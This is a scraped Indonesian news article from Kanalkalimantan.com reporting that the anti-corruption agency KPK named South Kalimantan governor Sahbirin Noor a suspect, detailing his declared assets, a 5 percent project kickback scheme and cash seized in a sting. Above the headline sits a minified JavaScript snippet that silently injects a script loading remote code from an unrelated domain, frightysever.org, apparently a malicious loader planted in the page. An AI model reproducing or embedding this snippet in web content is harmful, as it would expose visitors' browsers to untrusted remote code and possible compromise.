(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tersangka KPK Paman Birin Miliki Kekayaan Rp24,8 Miliar


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menetapkan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor sebagai tersangka dalam kasus dugaan korupsi berupa penerimaan hadiah atau janji oleh penyelenggara negara atau yang mewakilinya di Provinsi Kalsel.

Berdasarkan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) yang disampaikan Sahbirin pada 28 Februari 2024, dia memiliki total kekayaan mencapai Rp24,8 miliar.

Adapun harta tersebut terdiri dari 13 bidang tanah dan 4 bangunan yang tersebar di Kabupaten Banjar, Kabupaten Barito Kuala, Kota Banjarmasin, Kabupaten Tanah Bumbu, dan Kota Banjarbaru dengan nilai aset sebesar Rp13,7 miliar (Rp13.714.700.000).

Sahbirin juga memiliki empat unit mobil yang terdiri dari Mazda Biante, Honda CRV, Ford pickup, dan Honda HRV. Dia juga memiliki sebuah sepeda motor bermerk Honda Revo. Lebih lanjut, harta berupa kendaraan ini senilai Rp733 juta.

Baca juga: Uang ‘Jatah’ Proyek Rp12 Miliar dan US$500, Ada Kardus Kuning Paman Birin

Tak hanya itu, Paman Birin -akrab disapa- juga mempunyai harta bergerak lainnya senilai Rp2,3 miliar (Rp2.324.514.900) serta kas dan setara kas seharga Rp8,1 miliar (Rp 8.123.861.373).

Dia tercatat tidak memiliki surat berharga dan utamg dalam LHKPN-nya sehingga total hartanya sebesar Rp24,8 miliar.

Setoran Komitmen Fee 5 Persen dari Tiga Proyek pada Dinas PUPR Kalsel

Para tersangka OTT KPK di Kalsel yang dihadirkan saat konferensi pers, Selasa (8/10/2024) sore. Foto: Suara.com

Sebelumnya, Tim satgas KPK mengamankan uang miliaran rupiah dan pecahan dolar Amerika Serikat (AS) saat OTT di Kalsel.

Tujuh orang yang ditetapkan sebagai tersangka oleh KPK yakni Gubernur Kalsel Sahbirin Noor (SHB), Kadis PUPR Kalsel Ahmad Solhan (SOL), Kabid Cipta Karya sekaligus PPK Yulianti Erlynah (YUL), pengepul uang fee Ahmad (AMD), Plt Kepala Bagian Rumah Tangga Gubernur Kalsel Agustya Febry Andrean (FEB), pihak swasta Sugeng Wahyudi (YUD), pihak swasta Andi Susanto (AND).

Baca juga: Gubernur Kalsel Disebut Terima Uang Komitmen Fee dari Tiga Proyek PUPR

“Bahwa terhadap sejumlah uang lainnya yang ditemukan oleh penyelidik KPK pada YUL, FEB, dan AMD dengan total sekitar Rp12 miliar (Rp12.113.160.000) dan US$ 500,” kata Wakil Ketua KPK, Nurul Ghufron saat konferensi pers di gedung KPK, Jakarta, Selasa (8/10/2024) siang.

Kardus warna kuning berisi uang dengan foto Gubernur Kalsel bertulisan “Tapih Paman Birin Bergerak”. Foto: Suara.com/Dea

Uang tersebut diamankan dari sejumlah pihak mulai dari Ahmad (AMD), Yulianti (YUL), dan Agustya Febry Andrean (FEB). Salah satunya yakni kardus warna kuning bertuliskan dan foto Paman Birin yang isinya mencapai ratusan juta rupiah, diamankan dari Ahmad (AMD).

“Satu buah kardus kuning dengan foto wajah Paman Birin berisikan uang Rp800 juta,” ungkap Ghufron.

Baca juga: Soal Tren Pengangguran di Banjarmasin, Arifin Noor : Prioritas Program Kerja Kami

Disebutkan Ghufron, ada satu kardus cokelat berisi uang Rp1 miliar. Uang tersebut merupakan fee 5% untuk Sahbirin (SHB) dari Sugeng Wahyudi (YUD) dan Andi Susanto (AND) terkait pekerjaan yang mereka dapatkan yaitu pembangunan kolam renang kawasan olahraga terpadu, dan pembangunan gedung Samsat.

Sedangkan uang Rp12 miliar serta US$ 500 merupakan bagian dari fee 5% untuk Sahbirin (SHB) terkait pekerjaan lainnya di Dinas PUPR Kalsel.

Pada konferensi pers yang berlangsung di Gedung Merah Putih KPK, hanya enam tersangka  yang dihadirkan. Kecuali Gubernur Kalsel Paman Birin yang belum dilakukan penangkapan.

Dalam OTT di Kalsel, KPK berhasil mengamankan barang bukti uang tunai miliaran rupiah yang disita dari sejumlah tersangka.

Nurul Ghufron menjelaskan, kasus suap ini berasal dari tiga proyek fisik di lingkungan Pemprov Kalsel.

Baca juga: Pjs Wali Kota Banjarbaru Resmikan Gedung PKBM Harapan Baru

Pembangunan lapangan sepak bola di kawasan olahraga terintegrasi Provinsi Kalsel dengan penyedia PT WKM senilai Rp23 miliar. Kemudian pembangunan gedung Samsat Terpadu dengan penyedia terpilih PT HIU nilai pekerjaan Rp22 miliar, dan pembangunan kolam renang di kawasan olahraga terintegrasi Provinsi Kalsel oleh CV BBB dengan nilai Rp9 miliar.

Pada proyek tersebut, kata Ghofrun, terdapat rekayasa pengadaan agar YUD dan AND terpilih sebagai penyedia paket pekerjaan tersebut. Di sana terdapat kesepakatan fee dengan jumlah yang telah ditentukan.

Pemenang lelang perusahaan  Sugeng Wahyudi (YUD) dan Andi Susanto (AND) terdapat komitmen fee untuk menyerahkan sebesar 5 persen dari anggaran proyek kepada Gubernur Kalsel, dan 2,5 persen kepada PPK proyek.

“Didasari atas sebuah komitmen fee 2,5 untuk PPK (Pejabat Pembuat Komitmen), dan 5 persen untuk Gubernur,” ungkap Ghofrun.

Baca juga: Gubernur Paman Birin Jadi Tersangka, Susul Enam Orang Kena OTT KPK

Masih lanjut Ghofrun, penyidik KPK akan melakukan penahanan kepada para tersangka untuk 20 hari selama proses penyidikan terhitung tanggal 7-26 Oktober 2024  di Rumah Tahanan Negara (Rutan) KPK Cabang Rutan Klas 1 Jakarta Timur.

“Sampai dengan saat ini, penyidik masih terus berupaya mengamankan pihak-pihak lain yang bertanggungjawab terhadap peristiwa pidana ini yang belum dibawa oleh KPK pada hari ini,” pungkas Wakil Ketua KPK. (Suara.com/Kanalkalimantan.com/rizki)

Editor: kk

 


Risa

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

9 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

10 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

22 jam ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

23 jam ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

23 jam ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

1 hari ago

This website uses cookies.